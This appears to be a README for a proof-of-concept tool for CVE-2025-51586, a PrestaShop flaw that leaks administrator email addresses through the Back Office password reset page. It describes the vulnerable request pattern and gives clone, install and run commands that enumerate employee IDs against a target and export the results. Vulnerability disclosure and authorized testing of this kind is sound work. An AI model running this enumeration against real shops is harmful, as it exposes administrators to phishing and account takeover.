
PrestaShop AdminLogin Email Enumeration PoC - CVE-2025-51586. This repository provides an ethical Proof-of-Concept (PoC) for the PrestaShop vulnerability allowing user enumeration through the AdminLogin password reset mechanism. It explains the impact, setup, and usage of the PoC script.
This repository contains an ethical Proof-of-Concept (PoC) for the vulnerability CVE-2025-51586, affecting PrestaShop versions 1.7.x — 8.2.2.
The PoC enumerates administrator email addresses via the Back Office password reset mechanism (AdminLogin controller).
https://domain.tld/admin/index.php?controller=AdminLogin&reset=1id_employee and an invalid reset_token<input name="reset_email" value="[email protected]">Official advisory: Friends of Presta Security
Reported by Friends of Presta Security Team (advisory published September 4, 2025).
This PoC is for educational and authorized testing only. Use only on systems you own or where you have explicit permission. The author and contributors are not responsible for misuse.
Clone and install dependencies:
git clone https://github.com/7h30th3r0n3/CVE-2025-51586-PrestaShop-PoC.git
cd CVE-2025-51586-PrestaShop-PoC
pip install requests beautifulsoup4 rich
python3 cve_2025_51586_enum.py \
-u "https://target/admin/index.php?controller=AdminLogin&reset=1" \
-s 1 -e 100 -m POST -t invalidtoken123 --delay 0.5 --timeout 10 --export results.csv
PoC developed by 7h30th3r0n3. Vulnerability discovered by Friends of Presta Security Team.